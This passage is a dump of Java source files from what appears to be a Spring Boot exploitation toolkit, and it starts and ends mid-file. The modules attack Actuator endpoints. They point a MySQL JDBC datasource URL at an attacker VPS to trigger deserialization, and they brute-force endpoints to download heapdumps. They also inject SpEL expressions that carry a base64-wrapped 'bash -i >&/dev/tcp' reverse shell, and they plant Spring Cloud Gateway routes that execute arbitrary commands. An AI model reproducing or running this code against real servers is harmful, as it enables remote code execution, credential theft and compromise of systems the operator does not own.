219 | } 220 | }catch (Exception e) { 221 | text = "检测依赖异常"; 222 | callback.onResult(text); 223 | e.printStackTrace(); 224 | } 225 | } 226 | public void Result3(ResultCallback callback){ 227 | String llib = "groovy"; 228 | String api = "/env"; 229 | String site = address + api; 230 | String ua = ""; 231 | disableSSLVerification(); 232 | try { 233 | UA_Config uacf = new UA_Config(); 234 | List ualist = uacf.loadUserAgents(); 235 | URL obj = new URL(site); 236 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 237 | ua = uacf.getRandomUserAgent(ualist); 238 | conn.setRequestProperty("User-Agent", ua); 239 | conn.setRequestMethod("GET"); 240 | conn.setDoOutput(true); 241 | int responseCode = conn.getResponseCode(); 242 | BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); 243 | String inputLine; 244 | StringBuilder response = new StringBuilder(); 245 | while ((inputLine = in.readLine()) != null) { 246 | response.append(inputLine); 247 | } 248 | if (responseCode == HttpURLConnection.HTTP_OK && (response.toString().contains(llib))) { 249 | String regex = llib + "-(\\d+\\.\\d+\\.\\d+)"; 250 | Pattern pattern = Pattern.compile(regex); 251 | Matcher matcher = pattern.matcher(response.toString()); 252 | if (matcher.find()) { 253 | text = String.format("groovy 依赖为: %s", matcher.group(1)); 254 | callback.onResult(text); 255 | URL obj1 = new URL(address + "/actuator"); 256 | HttpURLConnection conn1 = (HttpURLConnection) obj1.openConnection(); 257 | conn1.setDoOutput(true); 258 | conn1.setRequestProperty("User-Agent", ua); 259 | conn1.setRequestMethod("GET"); 260 | int responseCode1 = conn1.getResponseCode(); 261 | BufferedReader in1 = new BufferedReader(new InputStreamReader(conn1.getInputStream())); 262 | String inputLine1; 263 | StringBuilder response1 = new StringBuilder(); 264 | while ((inputLine1 = in1.readLine()) != null) { 265 | response1.append(inputLine1); 266 | } 267 | in1.close(); 268 | if (responseCode1 == HttpURLConnection.HTTP_OK && (response1.toString().contains("/restart")) && !matcher.group(1).isEmpty()) { 269 | text = "可能存在漏洞"; 270 | callback.onResult(text); 271 | }else { 272 | text = "不存在可利用漏洞"; 273 | callback.onResult(text); 274 | } 275 | } 276 | } 277 | }catch (Exception e){ 278 | text = "检测依赖异常"; 279 | callback.onResult(text); 280 | e.printStackTrace(); 281 | } 282 | } 283 | public void Result4(ResultCallback callback){ 284 | String llib = "groovy"; 285 | String api = "/actuator/env"; 286 | String site = address + api; 287 | String ua = ""; 288 | disableSSLVerification(); 289 | try { 290 | UA_Config uacf = new UA_Config(); 291 | List ualist = uacf.loadUserAgents(); 292 | URL obj = new URL(site); 293 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 294 | ua = uacf.getRandomUserAgent(ualist); 295 | conn.setRequestProperty("User-Agent", ua); 296 | conn.setRequestMethod("GET"); 297 | conn.setDoOutput(true); 298 | int responseCode = conn.getResponseCode(); 299 | BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); 300 | String inputLine; 301 | StringBuilder response = new StringBuilder(); 302 | while ((inputLine = in.readLine()) != null) { 303 | response.append(inputLine); 304 | } 305 | if (responseCode == HttpURLConnection.HTTP_OK && (response.toString().contains(llib))) { 306 | String regex = llib + "-(\\d+\\.\\d+\\.\\d+)"; 307 | Pattern pattern = Pattern.compile(regex); 308 | Matcher matcher = pattern.matcher(response.toString()); 309 | if (matcher.find()) { 310 | text = String.format("groovy 依赖为: %s", matcher.group(1)); 311 | callback.onResult(text); 312 | URL obj1 = new URL(address + "/actuator"); 313 | HttpURLConnection conn1 = (HttpURLConnection) obj1.openConnection(); 314 | conn1.setDoOutput(true); 315 | conn1.setRequestProperty("User-Agent", ua); 316 | conn1.setRequestMethod("GET"); 317 | int responseCode1 = conn1.getResponseCode(); 318 | BufferedReader in1 = new BufferedReader(new InputStreamReader(conn1.getInputStream())); 319 | String inputLine1; 320 | StringBuilder response1 = new StringBuilder(); 321 | while ((inputLine1 = in1.readLine()) != null) { 322 | response1.append(inputLine1); 323 | } 324 | in1.close(); 325 | if (responseCode1 == HttpURLConnection.HTTP_OK && (response1.toString().contains("/restart")) && !matcher.group(1).isEmpty()) { 326 | text = "可能存在漏洞"; 327 | callback.onResult(text); 328 | }else { 329 | text = "不存在可利用漏洞"; 330 | callback.onResult(text); 331 | } 332 | } 333 | } 334 | }catch (Exception e){ 335 | text = "检测依赖异常"; 336 | callback.onResult(text); 337 | e.printStackTrace(); 338 | } 339 | } 340 | 341 | public void Exp(ResultCallback callback){ 342 | String api = "/actuator/env"; 343 | String site = address + api; 344 | String ua = ""; 345 | disableSSLVerification(); 346 | try{ 347 | URL obj = new URL(site); 348 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 349 | UA_Config uacf = new UA_Config(); 350 | List ualist = uacf.loadUserAgents(); 351 | ua = uacf.getRandomUserAgent(ualist); 352 | conn.setRequestProperty("User-Agent",ua); 353 | conn.setRequestMethod("GET"); 354 | int responseCode = conn.getResponseCode(); 355 | if (responseCode == HttpURLConnection.HTTP_OK) { 356 | text = "当前版本为springboot2"; 357 | callback.onResult(text); 358 | if (isPoc && vpsIP.isEmpty() && vpsPORT.isEmpty()){ 359 | Result4(callback); 360 | }else { 361 | Result2(callback); 362 | } 363 | }else if (responseCode == HttpURLConnection.HTTP_NOT_FOUND){ 364 | text = "当前版本为springboot1"; 365 | callback.onResult("当前版本为springboot1"); 366 | if (isPoc && vpsIP.isEmpty() && vpsPORT.isEmpty()){ 367 | Result3(callback); 368 | }else { 369 | Result1(callback); 370 | } 371 | Result1(callback); 372 | }else{ 373 | text = "未识别springboot版本"; 374 | callback.onResult(text); 375 | } 376 | }catch (Exception e){ 377 | text = "检测springboot版本异常"; 378 | callback.onResult(text); 379 | e.printStackTrace(); 380 | } 381 | } 382 | } 383 | -------------------------------------------------------------------------------- /src/main/module/MysqlJDBCRCE.java: -------------------------------------------------------------------------------- 1 | package src.main.module; 2 | 3 | import src.main.common.UA_Config; 4 | import src.main.impl.ResultCallback; 5 | 6 | import java.io.*; 7 | import java.net.HttpURLConnection; 8 | import java.net.URL; 9 | import java.nio.charset.StandardCharsets; 10 | import java.util.Base64; 11 | import java.util.List; 12 | import java.util.Objects; 13 | import java.util.Scanner; 14 | import java.util.regex.Matcher; 15 | import java.util.regex.Pattern; 16 | 17 | import static src.main.SSLVerify.sslVer.disableSSLVerification; 18 | 19 | public class MysqlJDBCRCE { 20 | private String address; 21 | private String vpsIP; 22 | private String vpsPORT; 23 | private String suvalue; 24 | private String suorigin; 25 | public String text; 26 | public String expdata1 = "spring.datasource.url=%s"; 27 | public String expdata2 = "{\"name\":\"spring.datasource.url\",\"value\":\"%s\"}"; 28 | public String mysql5tmp = "jdbc:mysql://%s:%s/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"; 29 | public String mysql8tmp = "jdbc:mysql://%s:%s/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"; 30 | public MysqlJDBCRCE(String address, String vpsIP, String vpsPORT){ 31 | this.address = address; 32 | this.vpsIP = vpsIP; 33 | this.vpsPORT = vpsPORT; 34 | } 35 | 36 | public void Result1( ){ 37 | 38 | } 39 | 40 | public void Result2(){ 41 | String llib = "spring-boot-starter-actuator"; 42 | String api = "/actuator/env"; 43 | String refapi = "/actuator/refresh"; 44 | String llib1 = "mysql-connector-java"; 45 | String site = address + api; 46 | String refite = address + refapi; 47 | String ua = ""; 48 | String data = ""; 49 | disableSSLVerification(); 50 | try { 51 | UA_Config uacf = new UA_Config(); 52 | List ualist = uacf.loadUserAgents(); 53 | URL obj = new URL(site); 54 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 55 | ua = uacf.getRandomUserAgent(ualist); 56 | conn.setRequestProperty("User-Agent",ua); 57 | conn.setRequestMethod("GET"); 58 | conn.setDoOutput(true); 59 | int responseCode = conn.getResponseCode(); 60 | BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); 61 | String inputLine; 62 | StringBuilder response = new StringBuilder(); 63 | while ((inputLine = in.readLine()) != null) { 64 | response.append(inputLine); 65 | } 66 | in.close(); 67 | if (responseCode == HttpURLConnection.HTTP_OK && ((response.toString().contains(llib)) && (response.toString().contains(llib1)))) { 68 | String regex = llib + "-(\\d+\\.\\d+\\.\\d+)"; 69 | Pattern pattern = Pattern.compile(regex); 70 | Matcher matcher = pattern.matcher(response.toString()); 71 | String regex1 = llib1 + "-(\\d+\\.\\d+\\.\\d+)"; 72 | Pattern pattern1 = Pattern.compile(regex1); 73 | Matcher matcher1 = pattern1.matcher(response.toString()); 74 | if (matcher.find() && matcher1.find()) { 75 | text = String.format("spring-boot-starter-actuator 依赖为: %s", matcher.group(1)); 76 | System.out.println(text); 77 | // callback.onResult(text); 78 | text = String.format("mysql-connector-java 依赖为: %s", matcher1.group(1)); 79 | System.out.println(text); 80 | if (response.toString().contains("commons-collections")||response.toString().contains("Jdk7u21")||response.toString().contains("Jdk8u20")){ 81 | System.out.println("发现gadget有可能为:commons-collections、Jdk7u21、Jdk8u20" + "\n" + "请审查确认gadget后再使用ysoserial工具"); 82 | } 83 | if (response.toString().contains("spring.datasource.url")){ 84 | String regex3 = "\"spring.datasource.url\"\\s*:\\s*\\{[^}]*\\}"; 85 | Pattern pattern3 = Pattern.compile(regex3); 86 | Matcher matcher3 = pattern3.matcher(response.toString()); 87 | if (matcher3.find()){ 88 | text = "当前值为: " + matcher3.group(); 89 | System.out.println(text); 90 | } 91 | } 92 | String mysqlVersion = matcher1.group(1).split("\\.")[0]; 93 | if (mysqlVersion.equals("8")){ 94 | String mysql8 = String.format(mysql8tmp,vpsIP,vpsPORT); 95 | data = String.format(expdata2,mysql8); 96 | }else if (mysqlVersion.equals("5")){ 97 | String mysql5 = String.format(mysql5tmp,vpsIP,vpsPORT); 98 | data = String.format(expdata2,mysql5); 99 | }else { 100 | text = "未知mysql版本"; 101 | } 102 | try { 103 | URL obj1 = new URL(site); 104 | HttpURLConnection conn1 = (HttpURLConnection) obj1.openConnection(); 105 | ua = uacf.getRandomUserAgent(ualist); 106 | conn1.setRequestProperty("User-Agent", ua); 107 | conn1.setRequestProperty("Content-Type", "application/json"); 108 | conn1.setRequestMethod("POST"); 109 | conn1.setDoOutput(true); 110 | try (OutputStream os = conn1.getOutputStream()) { 111 | byte[] input = data.getBytes(StandardCharsets.UTF_8); 112 | os.write(input, 0, input.length); 113 | } 114 | int responseCode1 = conn1.getResponseCode(); 115 | if (responseCode1 == HttpURLConnection.HTTP_OK) { 116 | try { 117 | URL obj2 = new URL(refite); 118 | HttpURLConnection conn2 = (HttpURLConnection) obj2.openConnection(); 119 | ua = uacf.getRandomUserAgent(ualist); 120 | conn2.setRequestProperty("User-Agent", ua); 121 | conn2.setRequestProperty("Content-Type", "application/json"); 122 | conn2.setRequestMethod("POST"); 123 | conn2.setDoOutput(true); 124 | int responseCode2 = conn2.getResponseCode(); 125 | if (responseCode2 == HttpURLConnection.HTTP_OK) { 126 | text = "执行命令成功,请访问一个带有SQL请求的接口,并在反弹服务器上查看"; 127 | System.out.println(text); 128 | // callback.onResult(text); 129 | text = "当前反弹vpsIP: " + vpsIP + "vpsPort: 7777"; 130 | System.out.println(text); 131 | // callback.onResult(text); 132 | } else { 133 | text = "发送请求失败,请重试"; 134 | System.out.println(text); 135 | // callback.onResult(text); 136 | } 137 | } catch (Exception e) { 138 | text = "异常:发起refresh请求失败"; 139 | System.out.println(text); 140 | // callback.onResult(text); 141 | e.printStackTrace(); 142 | } 143 | } 144 | } catch (Exception e) { 145 | text = "异常: 发起env请求失败"; 146 | System.out.println(text); 147 | // callback.onResult(text); 148 | e.printStackTrace(); 149 | } 150 | }else { 151 | text = "未找到依赖项!"; 152 | System.out.println(text); 153 | // callback.onResult(text); 154 | } 155 | } 156 | }catch (Exception e) { 157 | text = "检测依赖异常"; 158 | // callback.onResult(text); 159 | System.out.println(text); 160 | e.printStackTrace(); 161 | } 162 | } 163 | 164 | public void Exp(){ 165 | String api = "/actuator/env"; 166 | String site = address + api; 167 | String ua = ""; 168 | disableSSLVerification(); 169 | try{ 170 | URL obj = new URL(site); 171 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 172 | UA_Config uacf = new UA_Config(); 173 | List ualist = uacf.loadUserAgents(); 174 | ua = uacf.getRandomUserAgent(ualist); 175 | conn.setRequestProperty("User-Agent",ua); 176 | conn.setRequestMethod("GET"); 177 | int responseCode = conn.getResponseCode(); 178 | if (responseCode == HttpURLConnection.HTTP_OK) { 179 | text = "当前版本为springboot2"; 180 | // callback.onResult(text); 181 | // Result2(callback); 182 | System.out.println(text); 183 | Result2(); 184 | }else if (responseCode == HttpURLConnection.HTTP_NOT_FOUND){ 185 | text = "当前版本为springboot1"; 186 | // callback.onResult("当前版本为springboot1"); 187 | // Result1(callback); 188 | System.out.println(text); 189 | Result1(); 190 | }else{ 191 | text = "未识别springboot版本"; 192 | System.out.println(text); 193 | // callback.onResult(text); 194 | } 195 | }catch (Exception e){ 196 | text = "检测springboot版本异常"; 197 | System.out.println(text); 198 | // callback.onResult(text); 199 | e.printStackTrace(); 200 | } 201 | } 202 | 203 | public static void main(String[] args) { 204 | MysqlJDBCRCE m = new MysqlJDBCRCE("http://127.0.0.1:9097/","127.0.0.1","3307"); 205 | m.Exp(); 206 | } 207 | } 208 | -------------------------------------------------------------------------------- /src/main/module/ScanVul.java: -------------------------------------------------------------------------------- 1 | package src.main.module; 2 | 3 | import src.main.common.DownLoadHP; 4 | import src.main.common.UA_Config; 5 | import src.main.impl.ResultCallback; 6 | 7 | import java.io.*; 8 | import java.net.HttpURLConnection; 9 | import java.net.URL; 10 | import java.util.ArrayList; 11 | import java.util.List; 12 | import java.util.concurrent.CompletableFuture; 13 | 14 | import static src.main.SSLVerify.sslVer.disableSSLVerification; 15 | 16 | public class ScanVul { 17 | private final String address; 18 | public String text = ""; 19 | 20 | public ScanVul(String address) { 21 | this.address = address; 22 | } 23 | 24 | public void scanVul(ResultCallback callback) throws InterruptedException { 25 | disableSSLVerification(); 26 | String filepath = "./resources/dict.txt"; 27 | List resultList = new ArrayList<>(); 28 | String poc; 29 | String exp = "发现端点泄露"; 30 | String err1 = "发现端点泄露但无法返回内容"; 31 | String ua = ""; 32 | int totalLines = 0; 33 | int curlines = 0; 34 | try (BufferedReader br = new BufferedReader(new FileReader(filepath))) { 35 | // 计算总行数 36 | while (br.readLine() != null) { 37 | totalLines++; 38 | } 39 | } catch (IOException e) { 40 | e.printStackTrace(); 41 | } 42 | try (BufferedReader br = new BufferedReader(new FileReader(filepath))) { 43 | String line; 44 | while ((line = br.readLine()) != null) { 45 | String site = address + line; 46 | URL obj = new URL(site); 47 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 48 | UA_Config uacf = new UA_Config(); 49 | List ualist = uacf.loadUserAgents(); 50 | ua = uacf.getRandomUserAgent(ualist); 51 | conn.setRequestProperty("User-Agent", ua); 52 | conn.setRequestMethod("GET"); 53 | int responseCode = conn.getResponseCode(); 54 | 55 | if (responseCode == HttpURLConnection.HTTP_OK) { 56 | poc = site + " " + exp; 57 | resultList.add(site + " " + exp); 58 | curlines++; 59 | callback.onResult(poc); 60 | text = "curlines: " + curlines; 61 | callback.onResult(text); 62 | } else if (responseCode == HttpURLConnection.HTTP_BAD_METHOD) { 63 | poc = site + " " + err1; 64 | curlines++; 65 | callback.onResult(poc); 66 | text = "curlines: " + curlines; 67 | callback.onResult(text); 68 | text = "totalLines: " + totalLines; 69 | callback.onResult(text); 70 | } else { 71 | poc = ""; 72 | curlines++; 73 | text = "curlines: " + curlines; 74 | callback.onResult(text); 75 | text = "totalLines: " + totalLines; 76 | callback.onResult(text); 77 | } 78 | 79 | Thread.sleep(500); // 避免频繁请求 80 | } 81 | } catch (IOException e) { 82 | e.printStackTrace(); 83 | } 84 | 85 | // 在扫描完成后,检查结果并下载文件 86 | if (resultList.stream().anyMatch(line -> line.contains("/heapdump") && !line.contains("/actuator/heapdump"))) { 87 | text = "发现heapdump文件!正在下载"; 88 | callback.onResult(text); 89 | // 异步下载 heapdump 文件 90 | DownLoadHP downloader = new DownLoadHP(); 91 | CompletableFuture downloadFuture = downloader.downloadHPAsync(address,(downloadedBytes, totalBytes,progressText) -> { 92 | double progress = (double) downloadedBytes / totalBytes * 100; 93 | text = String.format("下载进度: %.2f%% (%.2f MB / %.2f MB)", progress, 94 | downloadedBytes / (1024.0 * 1024.0), 95 | totalBytes / (1024.0 * 1024.0)); 96 | callback.onResult(text); 97 | }); 98 | 99 | // 处理下载完成后的逻辑 100 | downloadFuture.thenAccept(fileName -> { 101 | if (fileName != null && !fileName.isEmpty()) { 102 | text = String.format("文件下载完成,文件名为: %s", fileName); 103 | callback.onResult(text); 104 | } else { 105 | text = "文件下载失败!"; 106 | callback.onResult(text); 107 | } 108 | }).exceptionally(throwable -> { 109 | text = "文件下载失败,发生异常: " + throwable.getMessage(); 110 | callback.onResult(text); 111 | return null; 112 | }); 113 | } 114 | if (resultList.stream().anyMatch(line -> line.contains("/actuator/heapdump"))){ 115 | text = "发现heapdump文件!正在下载"; 116 | callback.onResult(text); 117 | 118 | // 异步下载 heapdump 文件 119 | DownLoadHP downloader = new DownLoadHP(); 120 | CompletableFuture downloadFuture = downloader.downloadHPAsync(address + "/actuator",(downloadedBytes, totalBytes,progressText) -> { 121 | double progress = (double) downloadedBytes / totalBytes * 100; 122 | text = String.format("下载进度: %.2f%% (%.2f MB / %.2f MB)", progress, 123 | downloadedBytes / (1024.0 * 1024.0), 124 | totalBytes / (1024.0 * 1024.0)); 125 | callback.onResult(text); 126 | }); 127 | 128 | // 处理下载完成后的逻辑 129 | downloadFuture.thenAccept(fileName -> { 130 | if (fileName != null && !fileName.isEmpty()) { 131 | text = String.format("文件下载完成,文件名为: %s", fileName); 132 | callback.onResult(text); 133 | } else { 134 | text = "文件下载失败!"; 135 | callback.onResult(text); 136 | } 137 | }).exceptionally(throwable -> { 138 | text = "文件下载失败,发生异常: " + throwable.getMessage(); 139 | callback.onResult(text); 140 | return null; 141 | }); 142 | }else{ 143 | text = "未找到heapdump文件"; 144 | callback.onResult(text); 145 | } 146 | 147 | // 扫描和下载结束后回调 148 | callback.onComplete(); 149 | }} -------------------------------------------------------------------------------- /src/main/module/SpelRCE.java: -------------------------------------------------------------------------------- 1 | package src.main.module; 2 | 3 | import src.main.impl.ResultCallback; 4 | 5 | import java.io.BufferedReader; 6 | import java.io.IOException; 7 | import java.io.InputStreamReader; 8 | import java.net.HttpURLConnection; 9 | import java.net.URL; 10 | import java.net.URLEncoder; 11 | import java.nio.charset.StandardCharsets; 12 | import java.util.Base64; 13 | import java.util.regex.Matcher; 14 | import java.util.regex.Pattern; 15 | 16 | import static src.main.SSLVerify.sslVer.disableSSLVerification; 17 | 18 | public class SpelRCE { 19 | private String address; 20 | private String vpsIP; 21 | private String vpsPORT; 22 | public String pocData = "\\${5*5}"; 23 | public String text = ""; 24 | public static String cmdtmp ="bash -i >&/dev/tcp/%s/%s 0>&1"; 25 | // bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS85MDAwIDA+JjE=}|{base64,-d}|{bash,-i} 26 | public static String cmd = "bash -c {echo,%s}|{base64,-d}|{bash,-i}"; 27 | public String expDatatemp = "\\${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{%s}))}"; 28 | 29 | public SpelRCE(String address, String vpsIP, String vpsPORT) { 30 | this.address = address; 31 | this.vpsIP = vpsIP; 32 | this.vpsPORT = vpsPORT; 33 | } 34 | 35 | // 用正则匹配 URL 中的参数并替换为注入值 36 | private String replaceInjectionPoints(String url, String paramName, String payload) { 37 | // 匹配目标参数名和值 38 | String regex = "(" + paramName + "=)([^&]*)"; 39 | return url.replaceAll(regex, "$1" + payload); 40 | } 41 | 42 | // 提取 URL 中所有的参数名称 43 | private String[] extractParamNames(String url) { 44 | Pattern pattern = Pattern.compile("[?&]([^=&]+)="); 45 | Matcher matcher = pattern.matcher(url); 46 | StringBuilder params = new StringBuilder(); 47 | while (matcher.find()) { 48 | params.append(matcher.group(1)).append(","); 49 | } 50 | return params.toString().split(","); 51 | } 52 | 53 | public void Exp(ResultCallback callback) throws IOException { 54 | disableSSLVerification(); 55 | String b64payload = Base64.getEncoder().encodeToString(String.format(cmdtmp,vpsIP,vpsPORT).getBytes()); 56 | 57 | String cmdtemp = String.format(cmd,b64payload); 58 | byte[] bytes = cmdtemp.getBytes(StandardCharsets.UTF_8); 59 | StringBuilder hexString = new StringBuilder(); 60 | for (byte b : bytes) { 61 | hexString.append(String.format("0x%02x,", b)); 62 | } 63 | if (hexString.length() > 0) { 64 | hexString.setLength(hexString.length() - 1); 65 | } 66 | String expdata = String.format(expDatatemp,hexString.toString()); 67 | String encodedExpData = URLEncoder.encode(expdata, StandardCharsets.UTF_8.toString()); 68 | String updatedUrl = address + "=" + encodedExpData; 69 | 70 | try { 71 | URL obj = new URL(updatedUrl); 72 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 73 | conn.setRequestMethod("GET"); 74 | conn.setDoOutput(true); 75 | int responseCode = conn.getResponseCode(); 76 | if (responseCode == HttpURLConnection.HTTP_INTERNAL_ERROR) { // 500 错误 77 | BufferedReader in = new BufferedReader(new InputStreamReader(conn.getErrorStream())); 78 | String inputLine; 79 | StringBuilder response = new StringBuilder(); 80 | while ((inputLine = in.readLine()) != null) { 81 | response.append(inputLine); 82 | } 83 | in.close(); 84 | // java.lang.UNIXProcess 85 | if (response.toString().contains("java.lang.UNIXProcess")){ 86 | text = "命令执行成功,请在vps上查看信息"; 87 | callback.onResult(text); 88 | text = "当前监听vpsIP: " + vpsIP + "监听端口: " + vpsPORT; 89 | callback.onResult(text); 90 | }else{ 91 | text = "命令执行失败, " + "未知状态码"; 92 | callback.onResult(text); 93 | } 94 | }else{ 95 | text = "命令执行失败"; 96 | callback.onResult(text); 97 | } 98 | } catch (IOException e) { 99 | text = "发起请求异常"; 100 | callback.onResult(text); 101 | e.printStackTrace(); 102 | } 103 | // } 104 | 105 | } 106 | 107 | public void Poc(ResultCallback callback) throws IOException { 108 | disableSSLVerification(); 109 | String[] paramNames = extractParamNames(address); 110 | 111 | for (String paramName : paramNames) { 112 | if (paramName.isEmpty()){ 113 | text = "参数名为空,请确认再重试"; 114 | callback.onResult(text); 115 | } 116 | String updatedUrl = replaceInjectionPoints(address, paramName, pocData); 117 | try { 118 | URL obj = new URL(updatedUrl); 119 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 120 | conn.setRequestMethod("GET"); 121 | conn.setDoOutput(true); 122 | int responseCode = conn.getResponseCode(); 123 | if (responseCode == HttpURLConnection.HTTP_INTERNAL_ERROR) { // 500 错误 124 | BufferedReader in = new BufferedReader(new InputStreamReader(conn.getErrorStream())); 125 | String inputLine; 126 | StringBuilder response = new StringBuilder(); 127 | while ((inputLine = in.readLine()) != null) { 128 | response.append(inputLine); 129 | } 130 | in.close(); 131 | if (response.toString().contains("25")) { 132 | text = "可能存在Spel注入漏洞,请用getshell模块" + "注入参数为: " + paramName; 133 | callback.onResult(text); 134 | } else { 135 | text = "参数为" + " " + paramName + " " + "未发现Spel注入漏洞"; 136 | callback.onResult(text); 137 | } 138 | } else { 139 | text = "未知状态码: " + responseCode; 140 | callback.onResult(text); 141 | } 142 | } catch (IOException e) { 143 | e.printStackTrace(); 144 | } 145 | } 146 | } 147 | } -------------------------------------------------------------------------------- /src/main/module/SpringGawRCE.java: -------------------------------------------------------------------------------- 1 | package src.main.module; 2 | 3 | import src.main.common.UA_Config; 4 | import src.main.impl.ResultCallback; 5 | 6 | import java.io.BufferedReader; 7 | import java.io.IOException; 8 | import java.io.InputStreamReader; 9 | import java.io.OutputStream; 10 | import java.net.HttpURLConnection; 11 | import java.net.URL; 12 | import java.nio.charset.StandardCharsets; 13 | import java.util.Arrays; 14 | import java.util.List; 15 | import java.util.regex.Matcher; 16 | import java.util.regex.Pattern; 17 | import java.util.stream.Collectors; 18 | import java.util.stream.Stream; 19 | 20 | import static src.main.SSLVerify.sslVer.disableSSLVerification; 21 | 22 | public class SpringGawRCE { 23 | public String address; 24 | public String command; 25 | public String pocData = 26 | "{\n" + 27 | " \"id\": \"poctest\",\n" + 28 | " \"filters\": [{\n" + 29 | " \"name\": \"AddResponseHeader\",\n" + 30 | " \"args\": {\n" + 31 | " \"name\": \"Result\",\n" + 32 | " \"value\": \"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(" + 33 | "T(java.lang.Runtime).getRuntime().exec(new String[]{\\\"id\\\"}).getInputStream()))}\"\n" + 34 | " }\n" + 35 | " }],\n" + 36 | " \"uri\": \"http://example.com\"\n" + 37 | "}"; 38 | public String expData = 39 | "{\n" + 40 | " \"id\": \"expvul\",\n" + 41 | " \"filters\": [{\n" + 42 | " \"name\": \"AddResponseHeader\",\n" + 43 | " \"args\": {\n" + 44 | " \"name\": \"Result\",\n" + 45 | " \"value\": \"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(" + 46 | "T(java.lang.Runtime).getRuntime().exec(new String[]{%s}).getInputStream()))}\"\n" + 47 | " }\n" + 48 | " }],\n" + 49 | " \"uri\": \"http://example.com\"\n" + 50 | "}"; 51 | public String[] processCommand(String command) { 52 | return command.split(" "); 53 | } 54 | public String constructExpData(String command) { 55 | String[] commandArray = processCommand(command); 56 | // 将参数数组转换为符合 Java 语法的字符串形式 57 | String commandString = Arrays.stream(commandArray) 58 | .map(arg -> "\\\"" + arg + "\\\"") // 确保每个参数都用引号括起来 59 | .collect(Collectors.joining(", ")); 60 | // 构造最终的 expData 字符串 61 | return String.format(expData, commandString); 62 | } 63 | public SpringGawRCE(String address, String command) { 64 | this.address = address; 65 | this.command = command; 66 | } 67 | public SpringGawRCE(String address){ 68 | this.address = address; 69 | } 70 | 71 | public void GawExp(ResultCallback callback) throws IOException{ 72 | String api = ""; 73 | String data = ""; 74 | String res = ""; 75 | String ua = ""; 76 | String text = ""; 77 | String refapi = ""; 78 | disableSSLVerification(); 79 | URL obj = new URL(address + "/actuator/env"); 80 | HttpURLConnection conn = (HttpURLConnection) obj.openConnection(); 81 | UA_Config uacf = new UA_Config(); 82 | List ualist = uacf.loadUserAgents(); 83 | ua = uacf.getRandomUserAgent(ualist); 84 | conn.setRequestProperty("User-Agent",ua); 85 | conn.setRequestMethod("GET"); 86 | conn.setDoOutput(true); 87 | int responseCode = conn.getResponseCode(); 88 | if (responseCode == HttpURLConnection.HTTP_OK){ 89 | if (command == null) { 90 | api = "/actuator/gateway/routes/poctest"; 91 | refapi = "/actuator/gateway/refresh"; 92 | data = pocData; 93 | }else{ 94 | api = "/actuator/gateway/routes/expvul"; 95 | refapi = "/actuator/gateway/refresh"; 96 | data = constructExpData(command); 97 | } 98 | }else { 99 | if (command == null) { 100 | api = "/gateway/routes/poctest"; 101 | refapi = "/gateway/refresh"; 102 | data = pocData; 103 | }else{ 104 | api = "/gateway/routes/expvul"; 105 | refapi = "/gateway/refresh"; 106 | data = constructExpData(command); 107 | } 108 | } 109 | String site = address + api; 110 | try { 111 | URL obj1 = new URL(site); 112 | HttpURLConnection conn1 = (HttpURLConnection) obj1.openConnection(); 113 | ua = uacf.getRandomUserAgent(ualist); 114 | conn1.setRequestProperty("User-Agent",ua); 115 | conn1.setRequestMethod("POST"); 116 | conn1.setRequestProperty("Content-Type", "application/json"); 117 | conn1.setDoOutput(true); 118 | try (OutputStream os = conn1.getOutputStream()) { 119 | byte[] input = data.getBytes(StandardCharsets.UTF_8); 120 | os.write(input, 0, input.length); 121 | } 122 | int responseCode1 = conn1.getResponseCode(); 123 | if (responseCode1 == HttpURLConnection.HTTP_CREATED) { 124 | String site1 = address + refapi; 125 | URL obj2 = new URL(site1); 126 | HttpURLConnection conn2 = (HttpURLConnection) obj2.openConnection(); 127 | ua = uacf.getRandomUserAgent(ualist); 128 | conn2.setRequestProperty("User-Agent",ua); 129 | conn2.setRequestMethod("POST"); 130 | conn2.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); 131 | conn2.setDoOutput(true); 132 | int responseCode2 = conn2.getResponseCode(); 133 | if (responseCode2 == HttpURLConnection.HTTP_OK) { 134 | URL obj3 = new URL(site); 135 | HttpURLConnection conn3 = (HttpURLConnection) obj3.openConnection(); 136 | ua = uacf.getRandomUserAgent(ualist); 137 | conn3.setRequestProperty("User-Agent",ua); 138 | conn3.setRequestMethod("GET"); 139 | conn3.setDoOutput(true); 140 | BufferedReader in = new BufferedReader(new InputStreamReader(conn3.getInputStream())); 141 | String inputLine; 142 | StringBuilder content = new StringBuilder(); 143 | while ((inputLine = in.readLine()) != null) { 144 | content.append(inputLine); 145 | res = inputLine; 146 | } 147 | in.close(); 148 | int responseCode3 = conn3.getResponseCode(); 149 | if (responseCode3 == HttpURLConnection.HTTP_OK) { 150 | if (!res.contains("poctest")) { 151 | String resultPattern = "Result\\s*=\\s*'([^\\n]*)'"; 152 | Pattern pattern = Pattern.compile(resultPattern); 153 | Matcher matcher = pattern.matcher(content.toString()); 154 | if (matcher.find()) { 155 | text = "当前命令回显:\n" + matcher.group(1).replace("\\n", "\n"); 156 | callback.onResult(text); 157 | } 158 | } else { 159 | text = address + " " + "存在RCE漏洞!"; 160 | callback.onResult(text); 161 | } 162 | } else { 163 | text = "POST request failed with response code: " + responseCode1; 164 | callback.onResult(text); 165 | } 166 | } else{ 167 | text = "POST request failed with response code: " + responseCode1; 168 | callback.onResult(text); 169 | } 170 | }else{ 171 | text = "无法创建gateway路由"; 172 | callback.onResult(text); 173 | } 174 | }catch (Exception 